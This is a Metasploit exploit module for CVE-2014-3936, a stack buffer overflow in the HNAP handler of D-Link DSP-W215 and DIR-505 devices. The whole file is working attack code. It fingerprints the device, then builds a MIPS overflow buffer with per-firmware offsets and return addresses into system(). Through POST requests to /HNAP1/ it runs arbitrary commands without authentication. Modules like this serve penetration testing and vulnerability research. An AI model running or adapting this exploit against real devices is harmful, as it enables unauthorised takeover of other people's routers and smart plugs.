Land #3502, @m-1-k-3's DLink devices HNAP Buffer Overflow CVE-2014-3936
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'D-Link HNAP Request Remote Buffer Overflow',
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'Description' => %q{
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This module exploits an anonymous remote code execution vulnerability on different
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D-Link devices. The vulnerability is due to an stack based buffer overflow while
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handling malicious HTTP POST requests addressed to the HNAP handler. This module
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has been successfully tested on D-Link DIR-505 in an emulated environment.
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},
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'Author' =>
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[
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'Craig Heffner', # vulnerability discovery and initial exploit
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'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSBE,
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'References' =>
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[
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['CVE', '2014-3936'],
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['BID', '67651'],
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['URL', 'http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/'], # blog post from Craig including PoC
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['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029']
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],
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'Targets' =>
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[
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#
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# Automatic targeting via fingerprinting
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#
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[ 'Automatic Targeting', { 'auto' => true } ],
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[ 'D-Link DSP-W215 - v1.0',
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{
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'Offset' => 1000000,
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'Ret' => "\x00\x40\x5C\xAC", # jump to system - my_cgi.cgi
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}
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],
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[ 'D-Link DIR-505 - v1.06',
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{
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'Offset' => 30000,
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'Ret' => "\x00\x40\x52\x34", # jump to system - my_cgi.cgi
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}
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],
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[ 'D-Link DIR-505 - v1.07',
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{
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'Offset' => 30000,
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'Ret' => "\x00\x40\x5C\x5C", # jump to system - my_cgi.cgi
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}
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]
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],
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'DisclosureDate' => 'May 15 2014',
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'DefaultTarget' => 0))
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deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
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end
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def check
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begin
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res = send_request_cgi({
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'uri' => "/HNAP1/",
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'method' => 'GET'
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})
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if res && [200, 301, 302].include?(res.code)
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if res.body =~ /DIR-505/ && res.body =~ /1.07/
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@my_target = targets[3] if target['auto']
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return Exploit::CheckCode::Appears
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elsif res.body =~ /DIR-505/ && res.body =~ /1.06/
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@my_target = targets[2] if target['auto']
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return Exploit::CheckCode::Appears
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elsif res.body =~ /DSP-W215/ && res.body =~ /1.00/
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@my_target = targets[1] if target['auto']
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Detected
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end
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end
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rescue ::Rex::ConnectionError
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return Exploit::CheckCode::Safe
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end
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Exploit::CheckCode::Unknown
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end
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def exploit
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print_status("#{peer} - Trying to access the vulnerable URL...")
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@my_target = target
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check_code = check
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unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
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fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable device")
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end
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if @my_target.nil? || @my_target['auto']
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fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
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end
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print_status("#{peer} - Exploiting #{@my_target.name}...")
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execute_cmdstager(
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:flavor => :echo,
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:linemax => 185
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)
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end
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def prepare_shellcode(cmd)
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buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler
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buf << rand_text_alpha_upper(4) # $s0, don't care
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buf << rand_text_alpha_upper(4) # $s1, don't care
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buf << rand_text_alpha_upper(4) # $s2, don't care
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buf << rand_text_alpha_upper(4) # $s3, don't care
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buf << rand_text_alpha_upper(4) # $s4, don't care
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buf << @my_target['Ret'] # $ra
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# la $t9, system
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# la $s1, 0x440000
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# jalr $t9 ; system
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# addiu $a0, $sp, 0x28 # our command
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buf << rand_text_alpha_upper(40) # Stack filler
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buf << cmd # Command to execute
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buf << "\x00" # NULL-terminate the command
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end
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def execute_command(cmd, opts)
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shellcode = prepare_shellcode(cmd)
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begin
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "/HNAP1/",
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'encode_params' => false,
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'data' => shellcode
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}, 5)
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return res
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
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end
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end
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end
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